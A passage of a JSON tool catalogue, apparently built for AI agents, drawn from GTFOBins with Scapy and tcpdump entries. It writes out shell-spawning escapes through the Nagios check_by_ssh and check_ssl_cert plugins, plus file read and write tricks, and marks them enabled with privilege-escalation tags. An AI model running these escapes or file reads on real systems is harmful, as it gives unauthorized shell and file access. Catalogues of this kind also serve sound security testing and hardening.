        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Nagios plugin for SSH check, can spawn a shell via ProxyCommand exploit.",
    "examples": [
      {
        "description": "Spawn a shell via check_by_ssh ProxyCommand",
        "command": "check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C x"
      }
    ],
    "execution": {
      "template": "check_by_ssh -o 'ProxyCommand /bin/sh -i' -H localhost -C x",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "monitoring-nagios-check-by-ssh",
    "install": [
      {
        "method": "apt",
        "package_name": "monitoring-plugins",
        "commands": [
          "apt-get install -y monitoring-plugins"
        ]
      },
      {
        "method": "apt",
        "package_name": "nagios-plugins",
        "commands": [
          "apt-get install -y nagios-plugins"
        ]
      }
    ],
    "name": "check_by_ssh",
    "namespace": "monitoring:nagios:check-by-ssh",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/check_by_ssh/"
      }
    ],
    "related_tools": [
      "ssh"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "check_cups.md",
    "allowed-tools": [
      "check_cups",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Nagios plugin for CUPS check, can read files via --extra-opts option.",
    "examples": [
      {
        "description": "Read a file via check_cups extra-opts",
        "command": "check_cups --extra-opts=@/path/to/input-file"
      }
    ],
    "execution": {
      "template": "check_cups --extra-opts=@{input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "monitoring-nagios-check-cups",
    "install": [
      {
        "method": "apt",
        "package_name": "monitoring-plugins",
        "commands": [
          "apt-get install -y monitoring-plugins"
        ]
      }
    ],
    "name": "check_cups",
    "namespace": "monitoring:nagios:check-cups",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/check_cups/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "check_log.md",
    "allowed-tools": [
      "check_log",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Nagios plugin for log file checking, can read and write files via -F/-O options.",
    "examples": [
      {
        "description": "Read a file via check_log",
        "command": "check_log -F /path/to/input-file -O /dev/stdout"
      },
      {
        "description": "Write to a file via check_log",
        "command": "check_log -F /path/to/input-file -O /path/to/output-file"
      }
    ],
    "execution": {
      "template": "check_log -F {input} -O {output}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "monitoring-nagios-check-log",
    "install": [
      {
        "method": "apt",
        "package_name": "monitoring-plugins",
        "commands": [
          "apt-get install -y monitoring-plugins"
        ]
      }
    ],
    "name": "check_log",
    "namespace": "monitoring:nagios:check-log",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      },
      {
        "name": "output",
        "type": "file",
        "required": false,
        "description": "File to write"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/check_log/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "check_memory.md",
    "allowed-tools": [
      "check_memory",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Nagios plugin for memory checking, can read files via --extra-opts option.",
    "examples": [
      {
        "description": "Read a file via check_memory extra-opts",
        "command": "check_memory --extra-opts=@/path/to/input-file"
      }
    ],
    "execution": {
      "template": "check_memory --extra-opts=@{input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "monitoring-nagios-check-memory",
    "install": [
      {
        "method": "apt",
        "package_name": "monitoring-plugins",
        "commands": [
          "apt-get install -y monitoring-plugins"
        ]
      }
    ],
    "name": "check_memory",
    "namespace": "monitoring:nagios:check-memory",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/check_memory/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "check_raid.md",
    "allowed-tools": [
      "check_raid",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Nagios plugin for RAID checking, can read files via --extra-opts option.",
    "examples": [
      {
        "description": "Read a file via check_raid extra-opts",
        "command": "check_raid --extra-opts=@/path/to/input-file"
      }
    ],
    "execution": {
      "template": "check_raid --extra-opts=@{input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "monitoring-nagios-check-raid",
    "install": [
      {
        "method": "apt",
        "package_name": "monitoring-plugins",
        "commands": [
          "apt-get install -y monitoring-plugins"
        ]
      }
    ],
    "name": "check_raid",
    "namespace": "monitoring:nagios:check-raid",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/check_raid/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "check_ssl_cert.md",
    "allowed-tools": [
      "check_ssl_cert",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Nagios plugin for SSL certificate checking, can spawn a shell via --grep-bin option.",
    "examples": [
      {
        "description": "Spawn a shell via check_ssl_cert --grep-bin",
        "command": "echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file\nchmod +x /path/to/temp-file\ncheck_ssl_cert --grep-bin /path/to/temp-file -H x\n"
      }
    ],
    "execution": {
      "template": "check_ssl_cert --grep-bin /path/to/temp-script -H x",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "monitoring-nagios-check-ssl-cert",
    "install": [
      {
        "method": "apt",
        "package_name": "monitoring-plugins",
        "commands": [
          "apt-get install -y monitoring-plugins"
        ]
      }
    ],
    "name": "check_ssl_cert",
    "namespace": "monitoring:nagios:check-ssl-cert",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/check_ssl_cert/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "check_statusfile.md",
    "allowed-tools": [
      "check_statusfile",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Nagios plugin for status file checking, can read files via path argument.",
    "examples": [
      {
        "description": "Read a file via check_statusfile",
        "command": "check_statusfile /path/to/input-file"
      }
    ],
    "execution": {
      "template": "check_statusfile {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "monitoring-nagios-check-statusfile",
    "install": [
      {
        "method": "apt",
        "package_name": "monitoring-plugins",
        "commands": [
          "apt-get install -y monitoring-plugins"
        ]
      }
    ],
    "name": "check_statusfile",
    "namespace": "monitoring:nagios:check-statusfile",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/check_statusfile/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ffmpeg.md",
    "allowed-tools": [
      "ffmpeg",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 64,
        "network": "none",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Multimedia converter, can read and write files and execute commands.",
    "examples": [
      {
        "description": "Read a file via ffmpeg",
        "command": "ffmpeg -i /path/to/file"
      },
      {
        "description": "Write to a file via ffmpeg",
        "command": "ffmpeg -i /path/to/input /path/to/output"
      }
    ],
    "execution": {
      "template": "ffmpeg -i /path/to/input /path/to/output",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "multimedia-ffmpeg-ffmpeg",
    "install": [
      {
        "method": "apt",
        "package_name": "ffmpeg",
        "commands": [
          "apt-get install -y ffmpeg"
        ]
      }
    ],
    "name": "ffmpeg",
    "namespace": "multimedia:ffmpeg:ffmpeg",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ffmpeg/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 64,
      "network": "none",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# Scapy — Packet Crafting and Network Manipulation\n\nScapy is a powerful Python library for packet manipulation, protocol analysis, and network attack development. It can craft arbitrary packets, sniff traffic, perform network scans, and implement custom protocols.\n\n## Basic Examples\n\n```python\nfrom scapy.all import *\n\n# TCP SYN scan\nans = sr1(IP(dst=\"10.0.0.1\")/TCP(dport=80, flags=\"S\"), timeout=2)\nprint(ans.summary())\n\n# ARP request\nans = srp(ARP(pdst=\"10.0.0.1\"), timeout=2)[0]\nfor req, res in ans:\n    print(f\"{res.psrc} - {res.hwsrc}\")\n\n# Simple packet sniffer\npkts = sniff(filter=\"tcp port 80\", count=10)\nwrpcap(\"http.pcap\", pkts)\n```\n\n## Common Use Cases\n\n- Custom packet generation\n- Network scanning and discovery\n- Protocol fuzzing\n- ARP spoofing / MITM\n- DNS manipulation\n- Traffic sniffing and analysis\n- Packet crafting for exploitation\n",
    "_source": "scapy.md",
    "allowed-tools": [
      "scapy",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "network.capture.pcap",
        "description": "Captured network packets in PCAP format",
        "mime": "application/vnd.tcpdump.pcap",
        "trust_level": "verified"
      },
      {
        "type": "network.analysis.json",
        "description": "Packet analysis results as JSON",
        "mime": "application/json",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery",
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.packet.craft",
      "network.sniff.traffic",
      "network.protocol.analyze",
      "network.attack.arp",
      "network.attack.dns",
      "network.attack.dhcp",
      "network.manipulation.ip"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address for packet destination"
        },
        {
          "type": "network.interface",
          "description": "Network interface to use"
        },
        {
          "type": "network.port.number",
          "description": "Target port number"
        }
      ],
      "outputs": [
        {
          "type": "network.capture.pcap",
          "description": "Captured or crafted packet data",
          "mime": "application/vnd.tcpdump.pcap"
        },
        {
          "type": "network.analysis.json",
          "description": "Protocol analysis results",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "raw_socket_access",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Python-based packet crafting and network manipulation framework for packet generation, sniffing, protocol analysis, and network attack development.",
    "examples": [
      {
        "description": "ICMP ping sweep",
        "command": "python3 -c \"from scapy.all import *; sr1(IP(dst=\\\"10.0.0.1\\\")/ICMP(), timeout=2)\""
      },
      {
        "description": "TCP SYN scan",
        "command": "python3 -c \"from scapy.all import *; sr1(IP(dst=\\\"10.0.0.1\\\")/TCP(dport=80, flags=\\\"S\\\"), timeout=2)\""
      },
      {
        "description": "ARP scan local network",
        "command": "python3 -c \"from scapy.all import *; arp_request = ARP(pdst=\\\"10.0.0.0/24\\\"); result = srp(arp_request, timeout=2)[0]; result.summary()\""
      },
      {
        "description": "Sniff traffic on interface",
        "command": "python3 -c \"from scapy.all import *; packets = sniff(iface=\\\"eth0\\\", count=10); wrpcap(\\\"capture.pcap\\\", packets)\""
      },
      {
        "description": "DNS query",
        "command": "python3 -c \"from scapy.all import *; sr1(IP(dst=\\\"8.8.8.8\\\")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname=\\\"example.com\\\")), timeout=2)\""
      }
    ],
    "execution": {
      "template": "python3 {script} {flags}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "network-intensive",
      "pipes-stdin"
    ],
    "id": "network-analysis-scapy",
    "install": [
      {
        "method": "pip",
        "package_name": "scapy",
        "commands": [
          "pip install scapy"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "scapy",
    "namespace": "network:analysis:scapy",
    "parameters": [
      {
        "name": "script",
        "type": "string",
        "required": false,
        "description": "Python script file containing Scapy commands"
      },
      {
        "name": "flag-i",
        "type": "string",
        "required": false,
        "description": "Network interface",
        "aliases": [
          "-i",
          "--interface"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-t",
        "type": "string",
        "required": false,
        "description": "Target IP or hostname",
        "aliases": [
          "-t",
          "--target"
        ],
        "flag": "-t"
      },
      {
        "name": "count",
        "type": "integer",
        "required": false,
        "description": "Number of packets to send or capture",
        "aliases": [
          "-c",
          "--count"
        ],
        "flag": "-c"
      }
    ],
    "phase": "discovery",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Scapy Official Site",
        "url": "https://scapy.net/"
      },
      {
        "label": "Scapy Documentation",
        "url": "https://scapy.readthedocs.io/"
      },
      {
        "label": "Scapy GitHub",
        "url": "https://github.com/secdev/scapy/"
      }
    ],
    "related_tools": [
      "wireshark",
      "tcpdump",
      "nmap",
      "bettercap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "network-sniffing",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "crafted-packets",
        "captured-traffic",
        "pcap-output"
      ],
      "consumes": [
        "target-ip",
        "target-port",
        "network-interface"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rtorrent.md",
    "allowed-tools": [
      "rtorrent",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "BitTorrent client, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via rtorrent",
        "command": "rtorrent /path/to/file"
      }
    ],
    "execution": {
      "template": "rtorrent /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive"
    ],
    "global_vars": {},
    "id": "network-bittorrent-rtorrent",
    "install": [
      {
        "method": "apt",
        "package_name": "rtorrent",
        "commands": [
          "apt-get install -y rtorrent"
        ]
      }
    ],
    "name": "rtorrent",
    "namespace": "network:bittorrent:rtorrent",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rtorrent/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# tcpdump — Dump traffic on a network interface\n\n## Overview\n\n`tcpdump` is a command-line utility for dump traffic on a network interface.\n\n## Usage\n\n```\ntcpdump -r {flag-r} -b {flag-b} -B {flag-b} -c {flag-c} --count {count}\n```\n",
    "_source": "tcpdump.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.capture.tcpdump",
      "network.capture.packet",
      "network.capture.sniff"
    ],
    "description": "Dump traffic on a network interface",
    "examples": [
      {
        "description": "Display help message",
        "command": "tcpdump --help"
      },
      {
        "description": "Capture packets from a specific network interface",
        "command": "tcpdump -i eth0"
      },
      {
        "description": "Capture only a certain number of packets",
        "command": "tcpdump -c 10"
      },
      {
        "description": "Capture and write packets to a file for later analysis",
        "command": "tcpdump -w capture.pcap"
      },
      {
        "description": "Read packets from a file",
        "command": "tcpdump -r capture.pcap"
      },
      {
        "description": "Capture packets from a specific host",
        "command": "tcpdump host 192.168.1.1"
      },
      {
        "description": "Capture packets from a specific port",
        "command": "tcpdump port 80"
      },
      {
        "description": "Capture packets based on a specific protocol (e.g., TCP)",
        "command": "tcpdump tcp"
      },
      {
        "description": "Capture packets and filter for HTTP traffic",
        "command": "tcpdump 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'"
      },
      {
        "description": "Capture packets from a specific source IP",
        "command": "tcpdump src 192.168.1.1"
      },
      {
        "description": "Capture packets to a specific destination IP",
        "command": "tcpdump dst 192.168.1.2"
      },
      {
        "description": "Display captured packets with timestamp",
        "command": "tcpdump -tttt"
      },
      {
        "description": "Capture packets and display with verbose output",
        "command": "tcpdump -v"
      },
      {
        "description": "Capture packets and display with extra verbose output",
        "command": "tcpdump -vv"
      },
      {
        "description": "Capture packets and resolve hostnames",
        "command": "tcpdump -n"
      },
      {
        "description": "Capture packets and disable resolving hostnames",
        "command": "tcpdump -nn"
      },
      {
        "description": "Capture packets and show link-layer headers",
        "command": "tcpdump -e"
      },
      {
        "description": "Capture IPv6 packets",
        "command": "tcpdump ip6"
      },
      {
        "description": "Capture packets larger than a specific size",
        "command": "tcpdump greater 1024"
      }
    ],
    "execution": {
      "template": "tcpdump -r {flag-r} -b {flag-b} -B {flag-b} -c {flag-c} --count {count}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "remote",
      "network-intensive",
      "requires-root",
      "streaming"
    ],
    "global_vars": {
      "port": "port"
    },
    "id": "network-capture-tcpdump",
    "install": [
      {
        "method": "apt",
        "package_name": "tcpdump",
        "commands": [
          "apt-get install -y tcpdump"
        ]
      },
      {
        "method": "brew",
        "package_name": "tcpdump",
        "commands": [
          "brew install tcpdump"
        ]
      }
    ],
    "name": "tcpdump",
    "namespace": "network:capture:tcpdump",
    "parameters": [
      {
        "name": "XX",
        "type": "boolean",
        "required": false,
        "description": "When parsing and printing, in addition to printing the headers of",
        "aliases": [
          "-XX"
        ],
        "flag": "-XX"
      },
      {
        "name": "absolute_tcp_sequence_numbers",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--absolute-tcp-sequence-numbers"
        ],
        "flag": "--absolute-tcp-sequence-numbers"
      },
      {
        "name": "buffer_size",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--buffer-size"
        ],
        "flag": "--buffer-size"
      },
      {
        "name": "count",
        "template_key": "count",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print only on stdout the packet count when reading capture file(s) instead of parsing/printing the packets. If a filter is specified on the command line, tcpdump counts only packets that were matched by the filter expression",
        "aliases": [
          "--count"
        ],
        "flag": "--count"
      },
      {
        "name": "dd",
        "type": "boolean",
        "required": false,
        "description": "code as a C program fragment.",
        "aliases": [
          "-dd",
          "-matching"
        ],
        "flag": "-dd"
      },
      {
        "name": "ddd",
        "type": "boolean",
        "required": false,
        "description": "code as decimal  numbers  (preceded  with  a",
        "aliases": [
          "-ddd",
          "-matching"
        ],
        "flag": "-ddd"
      },
      {
        "name": "direction",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--direction"
        ],
        "flag": "--direction"
      },
      {
        "name": "dont_verify_checksums",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--dont-verify-checksums"
        ],
        "flag": "--dont-verify-checksums"
      },
      {
        "name": "flag-B",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--buffer-size=buffer_size Set the operating system capture buffer size to buffer_size, in units of KiB (1024 bytes)",
        "aliases": [
          "-B"
        ],
        "flag": "-B"
      },
      {
        "name": "flag-C",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Before writing a raw packet to a savefile, check whether the file is currently larger than file_size and, if so, close the current savefile and open a new one. Savefiles after the first savefile will have the name specified with the -w flag, with a number af‐ ter it, starting at 1 and continuing upward. The default unit of file_size is millions of bytes (1,000,000 bytes, not 1,048,576 bytes)",
        "aliases": [
          "-C"
        ],
        "flag": "-C"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "--list-interfaces Print the list of the network interfaces available on the system and on which tcpdump can capture packets. For each network in‐ terface, a number and an interface name, possibly followed by a text description of the interface, are printed. The interface name or the number can be supplied to the -i flag to specify an interface on which to capture",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-F",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use file as input for the filter expression. An additional ex‐ pression given on the command line is ignored",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-G",
        "template_key": "flag-g",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "If specified, rotates the dump file specified with the -w option every rotate_seconds seconds. Savefiles will have the name spec‐ ified by -w which should include a time format as defined by strftime(3). If no time format is specified, each new file will overwrite the previous. Whenever a generated filename is not unique, tcpdump will overwrite the preexisting data; providing a time specification that is coarser than the capture period is therefore not advised",
        "aliases": [
          "-G"
        ],
        "flag": "-G"
      },
      {
        "name": "flag-I",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--monitor-mode Put the interface in \"monitor mode\"; this is supported only on IEEE 802.11 Wi-Fi interfaces, and supported only on some operat‐ ing systems",
        "aliases": [
          "-I"
        ],
        "flag": "-I"
      },
      {
        "name": "flag-J",
        "template_key": "flag-j",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--list-time-stamp-types List the supported time stamp types for the interface and exit. If the time stamp type cannot be set for the interface, no time stamp types are listed",
        "aliases": [
          "-J"
        ],
        "flag": "-J"
      },
      {
        "name": "flag-K",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--dont-verify-checksums Don't attempt to verify IP, TCP, or UDP checksums. This is use‐ ful for interfaces that perform some or all of those checksum calculation in hardware; otherwise, all outgoing TCP checksums will be flagged as bad",
        "aliases": [
          "-K"
        ],
        "flag": "-K"
      },
      {
        "name": "flag-L",
        "template_key": "flag-l",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "--list-data-link-types List the known data link types for the interface, in the speci‐ fied mode, and exit. The list of known data link types may be dependent on the specified mode; for example, on some platforms, a Wi-Fi interface might support one set of data link types when not in monitor mode (for example, it might support only fake Eth‐ ernet headers, or might support 802.11 headers but not support 802.11 headers with radio information) and another set of data link types when in monitor mode (for example, it might support 802.11 headers, or 802.11 headers with radio information, only in monitor mode)",
        "aliases": [
          "-L"
        ],
        "flag": "-L"
      },
      {
